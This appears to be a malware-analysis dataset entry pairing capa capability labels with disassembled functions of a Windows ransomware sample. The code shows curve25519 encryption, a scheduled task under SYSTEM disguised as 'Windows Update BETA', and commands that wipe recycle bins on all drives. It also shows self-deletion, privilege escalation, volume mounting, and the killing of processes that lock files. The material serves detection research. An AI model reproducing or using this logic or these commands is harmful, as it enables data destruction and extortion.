joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404bc0
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
movups xmm0, xmmword [edx]
push esi
movups xmm1, xmmword [edx + 0x10]
mov edx, dword [ebp + 8]
mov esi, ecx
movd eax, xmm0
lea ecx, [ebp - 0xcc]
movups xmmword [ebp - 0x14], xmm1
and al, 0xf8
psrldq xmm1, 0xf
movups xmmword [ebp - 0x24], xmm0
mov byte [ebp - 0x24], al
movd eax, xmm1
and al, 0x3f
or al, 0x40
mov byte [ebp - 5], al
call fcn.00402360
lea eax, [ebp - 0xcc]
push eax
lea eax, [ebp - 0x24]
push eax
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x1b4]
call fcn.004034e0
lea edx, [ebp - 0x7c]
lea ecx, [ebp - 0x164]
call fcn.004037a0
lea eax, [ebp - 0x164]
push eax
lea edx, [ebp - 0x1b4]
lea ecx, [ebp - 0x114]
call fcn.00401920
add esp, 0xc
lea ecx, [ebp - 0x114]
call fcn.00401df0
lea ecx, [ebp - 0x114]
call fcn.00401ed0
movups xmm0, xmmword [ebp - 0x114]
lea edx, [ebp - 0x7c]
mov ecx, esi
movups xmmword [ebp - 0x7c], xmm0
movups xmm0, xmmword [ebp - 0x104]
movups xmmword [ebp - 0x6c], xmm0
movups xmm0, xmmword [ebp - 0xf4]
movups xmmword [ebp - 0x5c], xmm0
movups xmm0, xmmword [ebp - 0xe4]
movups xmmword [ebp - 0x4c], xmm0
movups xmm0, xmmword [ebp - 0xd4]
movups xmmword [ebp - 0x3c], xmm0
call fcn.00402660
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404cc0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
lea eax, [ebp - 0x20c]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push 0x426248
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0x42c320
call dword [sym.imp.KERNEL32.DLL_InitializeCriticalSection]
push 0
push 0x80
push 4
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
push 2
push 0
push 0
push eax
mov dword [0x42b884], eax
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
push 0
lea eax, [ebp - 4]
push eax
push 0x26
push str._r_n
push dword [0x42b884]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov esp, ebp
pop ebp
ret
Function at 0x404d60
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x94
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_HeapAlloc]
push 0x1000
push 8
push dword [0x42e394]
call edi
mov esi, eax
test esi, esi
jne 0x404dac
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x80
call ebx
push 0x1000
push 8
push dword [0x42e394]
call edi
mov esi, eax
test esi, esi
je 0x404d90
lea eax, [ebp + 0xc]
push eax
push 0
push dword [ebp + 8]
push 0x7ff
push esi
call fcn.00404cb0
mov ecx, dword [eax]
push dword [eax + 4]
or ecx, 1
push ecx
call fcn.0040ea46
add esp, 0x1c
mov ebx, eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
movzx ecx, word [esp + 0x1c]
movzx eax, word [esp + 0x16]
push ecx
movzx ecx, word [esp + 0x1e]
push ecx
movzx ecx, word [esp + 0x20]
push ecx
push eax
movzx eax, word [esp + 0x22]
push eax
movzx eax, word [esp + 0x24]
push eax
lea eax, [esp + 0x38]
push str.__hu__hu__hu__hu:_hu:_hu_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x20
mov edi, eax
push 0x42c320
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
push 0
lea eax, [esp + 0x10]
push eax
lea eax, [edi + edi]
mov edi, dword [sym.imp.KERNEL32.DLL_WriteFile]
push eax
lea eax, [esp + 0x2c]
push eax
push dword [0x42b884]
call edi
push 0
lea eax, [esp + 0x10]
push eax
or eax, 0xffffffff
test ebx, ebx
cmovs ebx, eax
add ebx, ebx
push ebx
push esi
push dword [0x42b884]
call edi
push 0
lea eax, [esp + 0x10]
push eax
push 4
push 0x426280
push dword [0x42b884]
call edi
push 0x42c320
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
push esi
push 0
push dword [0x42e394]
call dword [sym.imp.KERNEL32.DLL_HeapFree]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4050a0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
cmp dword [0x42c30c], 0
jne 0x4050d2
push str.GlobalArthurMutex
push 1
push 0
call dword [sym.imp.KERNEL32.DLL_CreateMutexW]
mov dword [0x42e378], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x4050d2
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
ret
Function at 0x405110
Capabilities:
Accept command line arguments
Create process on windows
Schedule task via schtasks

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60c
cmp dword [0x42c31c], 0
jne 0x4051b7
push esi
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.DLL_GetCommandLineW]
mov esi, eax
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [ebp - 4], 1
jle 0x40517d
push dword [eax + 4]
push esi
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
push eax
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x60c]
push str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__Windows_Update_BETA___TR___s__s___F
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x405199
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x60c]
push str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__Windows_Update_BETA___TR___s___F
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
push 0
lea eax, [ebp - 0x60c]
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4051c0
Capabilities:
Create process on windows

Disassembly:
push 0
push 0
push str._c_SCHTASKS.exe__Delete__TN__Windows_Update_BETA___F
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
ret

Function at 0x405200
Capabilities:
Create process on windows
Empty the recycle bin

Disassembly:
push esi
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteW]
push 0
push 0
push str._c_rd__s__q_P:_RECYCLE.BIN_Q:_RECYCLE.BIN_R:_RECYCLE.BIN_S:_RECYCLE.BIN_T:_RECYCLE.BIN_U:_RECYCLE.BIN_V:_RECYCLE.BIN_W:_RECYCLE.BIN_X:_RECYCLE.BIN_F:_RECYCLE.BIN_G:_RECYCLE.BIN_K:_RECYCLE.BIN_L:_RECYCLE.BIN_M:_RECYCLE.BIN_N:_RECYCLE.BIN_O:_RECYCLE.BIN_Y:_RECYCLE.BIN_Z:_RECYCLE.BIN_A:_RECYCLE.BIN_B:_RECYCLE.BIN_C:_RECYCLE.BIN_D:_RECYCLE.BIN_E:_RECYCLE.BIN_H:_RECYCLE.BIN_I:_RECYCLE.BIN_J:_RECYCLE.BIN
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str._c_rd__s__q_P:Recycler_Q:Recycler_R:Recycler_S:Recycler_T:Recycler_U:Recycler_V:Recycler_W:Recycler_X:Recycler_F:Recycler_G:Recycler_K:Recycler_L:Recycler_M:Recycler_N:Recycler_O:Recycler_Y:Recycler_Z:Recycler_A:Recycler_B:Recycler_C:Recycler_D:Recycler_E:Recycler_H:Recycler_I:Recycler_J:Recycler
push str.cmd.exe
push str.open
push 0
call esi
push 0
push 0
push str._c_powershell__inputformat_none__outputformat_none__NonInteractive__Command_Remove__Item_d:_RECYCLE.BIN_c:_RECYCLE.BIN__Recurse__Force
push str.cmd.exe
push str.open
push 0
call esi
pop esi
ret
Function at 0x4054a0
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80c
cmp dword [0x42c31c], 0
jne 0x405580
lea eax, [ebp - 0x20c]
push eax
push 0
push 0
push 0x23
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0x426de0
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
mov eax, dword [0x42c300]
cmp eax, 2
jne 0x4054f5
lea eax, [ebp - 0x20c]
push eax
push str._c___s___SHUTDOWN
jmp 0x40550d
cmp eax, 1
lea eax, [ebp - 0x20c]
push eax
jne 0x405508
push str._c___s___RESTART
jmp 0x40550d
push str._c___s_
lea eax, [ebp - 0x80c]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x20c]
push esi
push 0
push 0x80
push 1
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405562
push 0
lea eax, [ebp - 4]
push eax
push 0x1a00
push 0x422080
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 0
push 0
lea eax, [ebp - 0x80c]
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x405590
Capabilities:
Create process on windows
Self delete

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
cmp dword [0x42c314], 0
jne 0x4055f8
cmp dword [0x42c31c], 0
jne 0x4055f8
push 0x104
lea eax, [ebp - 0x208]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
lea eax, [ebp - 0x208]
push eax
lea eax, [ebp - 0x808]
push str._c_ping_127.0.0.1__n_5___nul__del___s_
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x808]
push 0
push 0
push eax
push str.cmd.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov esp, ebp
pop ebp
ret

Function at 0x405600
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor esi, esi
mov dword [ebp - 0x38], str.SeDebugPrivilege
mov dword [ebp - 0x34], str.SeRestorePrivilege
mov dword [ebp - 0x30], str.SeBackupPrivilege
mov dword [ebp - 0x2c], str.SeTakeOwnershipPrivilege
mov dword [ebp - 0x28], str.SeAuditPrivilege
mov dword [ebp - 0x24], str.SeSecurityPrivilege
mov dword [ebp - 0x20], str.SeIncreaseBasePriorityPrivilege
lea eax, [ebp - 4]
push eax
push 0x20
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call ebx
test eax, eax
je 0x4056a3
lea eax, [ebp - 0xc]
push eax
push dword [ebp + esi*4 - 0x38]
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x40569e
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
push 0
push 0
push 0x10
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 4]
call edi
inc esi
cmp esi, 7
jb 0x405648
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405860
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov ebx, 0x104
mov dword [ebp - 0x10], ecx
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov dword [ebp - 8], ebx
mov byte [ebp - 1], 1
nop
add ebx, ebx
push ebx
push 8
push dword [0x42e394]
call edi
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
jne 0x4058bf
nop word [eax + eax]
push 0x80
call dword [sym.imp.KERNEL32.DLL_Sleep]
push ebx
push 8
push dword [0x42e394]
call edi
mov esi, eax
mov dword [ebp - 0xc], eax
test esi, esi
je 0x4058a0
mov ebx, dword [ebp - 0x10]
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
push esi
push ebx
call dword [sym.imp.KERNEL32.DLL_GetVolumePathNamesForVolumeNameW]
test eax, eax
jne 0x4058fa
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xea
jne 0x4059d1
push esi
push 0
push dword [0x42e394]
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov ebx, dword [ebp - 8]
jmp 0x405880
cmp word [esi], 0
jne 0x4059d1
cmp dword [ebp - 8], 1
jne 0x4059da
push ebx
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
cmp eax, 2
je 0x405923
cmp eax, 3
jne 0x4059da
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
lea eax, [eax*2 + 0x10]
push eax
push 8
push dword [0x42e394]
mov dword [ebp - 0x14], eax
call edi
mov ebx, eax
test ebx, ebx
jne 0x40596f
mov esi, dword [ebp - 0x14]
nop dword [eax + eax]
push 0x80
call dword [sym.imp.KERNEL32.DLL_Sleep]
push esi
push 8
push dword [0x42e394]
call edi
mov ebx, eax
test ebx, ebx
je 0x405950
mov esi, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x10]
push ecx
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push str.bootmgr
push ebx
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 0
push 0x80
push 3
push 0
push 3
push SysReAllocString
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
cmp eax, 0xffffffff
je 0x4059bc
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push ebx
push 0
push dword [0x42e394]
call dword [sym.imp.KERNEL32.DLL_HeapFree]
jmp 0x4059da
push ebx
push 0
push dword [0x42e394]
mov byte [ebp - 1], 0
call dword [sym.imp.KERNEL32.DLL_HeapFree]
jmp 0x4059da
mov al, 1
mov byte [ebp - 1], al
test esi, esi
je 0x4059ec
push esi
push 0
push dword [0x42e394]
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405a00
Capabilities:
Enumerate disk volumes
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
push ebx
push esi
push edi
xor esi, esi
mov dword [ebp - 0x68], 0x42868c
mov dword [ebp - 0x64], 0x428694
xor edi, edi
mov dword [ebp - 0x60], 0x42869c
mov dword [ebp - 0x5c], 0x4286a4
mov dword [ebp - 0x58], 0x4286ac
mov dword [ebp - 0x54], 0x4286b4
mov dword [ebp - 0x50], 0x4286bc
mov dword [ebp - 0x4c], 0x4286c4
mov dword [ebp - 0x48], 0x4286cc
mov dword [ebp - 0x44], 0x4286d4
mov dword [ebp - 0x40], 0x4286dc
mov dword [ebp - 0x3c], 0x4286e4
mov dword [ebp - 0x38], 0x4286ec
mov dword [ebp - 0x34], 0x4286f4
mov dword [ebp - 0x30], 0x4286fc
mov dword [ebp - 0x2c], 0x428704
mov dword [ebp - 0x28], 0x42870c
mov dword [ebp - 0x24], 0x428714
mov dword [ebp - 0x20], 0x42871c
mov dword [ebp - 0x1c], 0x428724
mov dword [ebp - 0x18], 0x42872c
mov dword [ebp - 0x14], 0x428734
mov dword [ebp - 0x10], 0x42873c
mov dword [ebp - 0xc], 0x428744
mov dword [ebp - 8], 0x42874c
mov dword [ebp - 4], 0x428754
nop word [eax + eax]
mov ebx, dword [ebp + edi*4 - 0x68]
push ebx
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
cmp eax, 1
jne 0x405ae8
mov dword [ebp + esi*4 - 0xd0], ebx
inc esi
inc edi
cmp edi, 0x1a
jl 0x405ad0
push 0x104
lea eax, [ebp - 0x2d8]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstVolumeW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x405b9c
nop dword [eax + eax]
cmp word [ebp - 0x2d8], 0x5c
jne 0x405b7a
cmp word [ebp - 0x2d6], 0x5c
jne 0x405b7a
cmp word [ebp - 0x2d4], 0x3f
jne 0x405b7a
cmp word [ebp - 0x2d2], 0x5c
jne 0x405b7a
lea ecx, [ebp - 0x2d8]
call fcn.00405860
test al, al
jne 0x405b7a
test esi, esi
je 0x405b95
mov edi, dword [ebp + esi*4 - 0xd4]
lea eax, [ebp - 0x2d8]
dec esi
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_SetVolumeMountPointW]
test eax, eax
je 0x405b7a
push edi
lea eax, [ebp - 0x2d8]
push eax
push str.Mounted__s_as__s
call fcn.00404d60
add esp, 0xc
push 0x104
lea eax, [ebp - 0x2d8]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_FindNextVolumeW]
test eax, eax
jne 0x405b10
push ebx
call dword [sym.imp.KERNEL32.DLL_FindVolumeClose]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405bb0
Capabilities:
Create restart manager session
Enumerate processes that use resource
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6c
push ebx
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x24], ecx
push eax
push 0
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0
xor bl, bl
mov dword [ebp - 0x1c], 0
push eax
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov byte [ebp - 1], bl
call dword [sym.imp.RstrtMgr.DLL_RmStartSession]
test eax, eax
jne 0x405d8f
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x24]
push eax
push 1
push dword [ebp - 0xc]
call dword [sym.imp.RstrtMgr.DLL_RmRegisterResources]
test eax, eax
jne 0x405d86
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
cmp eax, 0xea
jne 0x405d86
push esi
imul esi, dword [ebp - 0x10], 0x29c
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_HeapAlloc]
push esi
push 8
push dword [0x42e394]
call edi
mov ecx, eax
mov dword [ebp - 0x18], ecx
test ecx, ecx
jne 0x405c7b
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
nop dword [eax]
push 0x80
call ebx
push esi
push 8
push dword [0x42e394]
call edi
mov ecx, eax
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x405c60
mov eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x1c]
push eax
push ecx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.RstrtMgr.DLL_RmGetList]
test eax, eax
jne 0x405d70
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ecx, dword [ebp - 8]
xor edx, edx
mov dword [ebp - 0x20], edx
mov esi, eax
mov dword [ebp - 0x28], esi
test ecx, ecx
je 0x405d70
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 0x14], ebx
mov eax, dword [ebx]
cmp eax, esi
je 0x405d5b
cmp eax, 4
je 0x405d5b
mov eax, dword [ebx + 0x28c]
lea edi, [ebx + 0xc]
cmp eax, 4
je 0x405d5b
cmp eax, 0x3e8
je 0x405d5b
xor esi, esi
nop word [eax + eax]
push dword [esi + 0x425afc]
push edi
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x405d52
add esi, 4
cmp esi, 0x34
jb 0x405cf0
mov eax, dword [ebp - 0x14]
xor bl, bl
push dword [eax]
push 0
push 0x100001
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
test esi, esi
je 0x405d4c
push 0
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push 0x4e20
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
movzx ebx, bl
mov eax, 1
cmove ebx, eax
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
add byte [ebp - 1], bl
mov ebx, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x28]
inc edx
add ebx, 0x29c
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x14], ebx
cmp edx, ecx
jb 0x405cc0
push dword [ebp - 0x18]
push 0
push dword [0x42e394]
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov bl, byte [ebp - 1]
pop edi
pop esi
push dword [ebp - 0xc]
call dword [sym.imp.RstrtMgr.DLL_RmEndSession]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407320
Capabilities:
Create thread
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemInfo]
mov eax, dword [ebp - 0x10]
mov ecx, 0x20
test al, 0x20
cmovne eax, ecx
cmp dword [0x42c304], 0
mov dword [ebp - 0x10], eax
lea ebx, [eax + eax]
je 0x407364
push 0
push 0
push 0
push 0x404f40
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
push ebx
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateIoCompletionPort]
mov dword [0x42e384], eax
test eax, eax
je 0x4074b2
push SysReAllocString
call dword [sym.imp.KERNEL32.DLL_SetThreadExecutionState]
lea esi, [ebx*4]
push esi
push 8
push dword [0x42e394]
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov edi, eax
test edi, edi
jne 0x4073c5
push 0x80
call dword [sym.imp.KERNEL32.DLL_Sleep]
push esi
push 8
push dword [0x42e394]
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov edi, eax
test edi, edi
je 0x4073a5
xor esi, esi
test ebx, ebx
je 0x4073ed
nop dword [eax + eax]
push 0
push 0
push 0
push 0x406c80
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [edi + esi*4], eax
inc esi
cmp esi, ebx
jb 0x4073d0
push ebx
push str._lu_I_O_Workers_Created
call fcn.00404d60
mov eax, dword [0x42c31c]
add esp, 8
test eax, eax
je 0x40740c
push eax
call fcn.00406390
jmp 0x407411
call fcn.004069d0
push str.Waiting_For_I_O_Workers
call fcn.00404d60
mov esi, dword [sym.imp.KERNEL32.DLL_Sleep]
add esp, 4
push 0x300
call esi
mov eax, dword [0x42e37c]
cmp dword [0x42e380], eax
jne 0x407424
test ebx, ebx
je 0x407473
mov esi, ebx
nop
push 0
push 0
push 0
push dword [0x42e384]
call dword [sym.imp.KERNEL32.DLL_PostQueuedCompletionStatus]
sub esi, 1
jne 0x407440
push 0xffffffffffffffff
push 1
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
push dword [edi + esi*4]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
inc esi
cmp esi, ebx
jb 0x407463
jmp 0x40747f
push 0xffffffffffffffff
push 1
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
push edi
push 0
push dword [0x42e394]
call dword [sym.imp.KERNEL32.DLL_HeapFree]
push dword [0x42e384]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push str.Encryption_Completed
call fcn.00404d60
add esp, 4
push SysReAllocString
call dword [sym.imp.KERNEL32.DLL_SetThreadExecutionState]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4074c0
Capabilities:
Hide graphical window

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
ret
Function at 0x4078f0
Capabilities:
Hash data using sha256

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push esi
mov ebx, edx
mov dword [ebp - 0x74], 0x6a09e667
push edi
xorps xmm0, xmm0
mov dword [ebp - 0x70], 0xbb67ae85
mov edx, ecx
movlpd qword [ebp - 0x7c], xmm0
push 0x20
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x6c], 0x3c6ef372
mov dword [ebp - 0x68], 0xa54ff53a
mov dword [ebp - 0x64], 0x510e527f
mov dword [ebp - 0x60], 0x9b05688c
mov dword [ebp - 0x5c], 0x1f83d9ab
mov dword [ebp - 0x58], 0x5be0cd19
mov dword [ebp - 0x54], 0
call fcn.00407870
mov eax, dword [ebp - 0x7c]
mov edi, 0x78
mov edx, dword [ebp - 0x78]
mov esi, eax
sub edi, dword [ebp - 0x54]
xor ecx, ecx
rol eax, 8
add esp, 4
and eax, 0xff00ff
ror esi, 8
and esi, 0xff00ff00
or esi, eax
mov eax, edx
ror eax, 8
rol edx, 8
and eax, 0xff00ff00
and edx, 0xff00ff
mov dword [ebp - 8], esi
or eax, edx
mov edx, 0x426208
or ecx, eax
cmp edi, 0x40
lea eax, [edi - 0x40]
mov dword [ebp - 0xc], ecx
cmovbe eax, edi
lea ecx, [ebp - 0x7c]
push eax
call fcn.00407870
add esp, 4
lea edx, [ebp - 0xc]
lea ecx, [ebp - 0x7c]
push 8
call fcn.00407870
add esp, 4
test ebx, ebx
je 0x407ac7
mov ecx, dword [ebp - 0x74]
mov eax, ecx
shr eax, 0x18
mov byte [ebx], al
mov eax, ecx
shr eax, 0x10
mov byte [ebx + 1], al
movzx eax, byte [ebp - 0x74]
mov byte [ebx + 3], al
shr ecx, 8
mov byte [ebx + 2], cl
mov ecx, dword [ebp - 0x70]
mov eax, ecx
shr eax, 0x18
mov byte [ebx + 4], al
mov eax, ecx
shr eax, 0x10
mov byte [ebx + 5], al
movzx eax, byte [ebp - 0x70]
mov byte [ebx + 7], al
shr ecx, 8
mov byte [ebx + 6], cl
mov ecx, dword [ebp - 0x6c]
mov eax, ecx
shr eax, 0x18
mov byte [ebx + 8], al
mov eax, ecx
shr eax, 0x10
mov byte [ebx + 9], al
movzx eax, byte [ebp - 0x6c]
mov byte [ebx + 0xb], al
shr ecx, 8
mov byte [ebx + 0xa], cl
mov ecx, dword [ebp - 0x68]
mov eax, ecx
shr eax, 0x18
mov byte [ebx + 0xc], al
mov eax, ecx
shr eax, 0x10
mov byte [ebx + 0xd], al
movzx eax, byte [ebp - 0x68]
mov byte [ebx + 0xf], al
shr ecx, 8
mov byte [ebx + 0xe], cl
mov ecx, dword [ebp - 0x64]
mov eax, ecx
shr eax, 0x18
mov byte [ebx + 0x10], al
mov eax, ecx
shr eax, 0x10
mov byte [ebx + 0x11], al
movzx eax, byte [ebp - 0x64]
mov byte [ebx + 0x13], al
shr ecx, 8
mov byte [ebx + 0x12], cl
mov ecx, dword [ebp - 0x60]
mov eax, ecx
shr eax, 0x18
mov byte [ebx + 0x14], al
mov eax, ecx
shr eax, 0x10
mov byte [ebx + 0x15], al
movzx eax, byte [ebp - 0x60]
shr ecx, 8
mov byte [ebx + 0x17], al
mov byte [ebx + 0x16], cl
mov ecx, dword [ebp - 0x5c]
mov eax, ecx
shr eax, 0x18
mov byte [ebx + 0x18], al
mov eax, ecx
shr eax, 0x10
mov byte [ebx + 0x19], al
movzx eax, byte [ebp - 0x5c]
shr ecx, 8
mov byte [ebx + 0x1a], cl
mov ecx, dword [ebp - 0x58]
mov byte [ebx + 0x1b], al
mov eax, ecx
shr eax, 0x18
mov byte [ebx + 0x1c], al
mov eax, ecx
shr eax, 0x10
mov byte [ebx + 0x1d], al
movzx eax, byte [ebp - 0x58]
shr ecx, 8
mov byte [ebx + 0x1e], cl
mov byte [ebx + 0x1f], al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret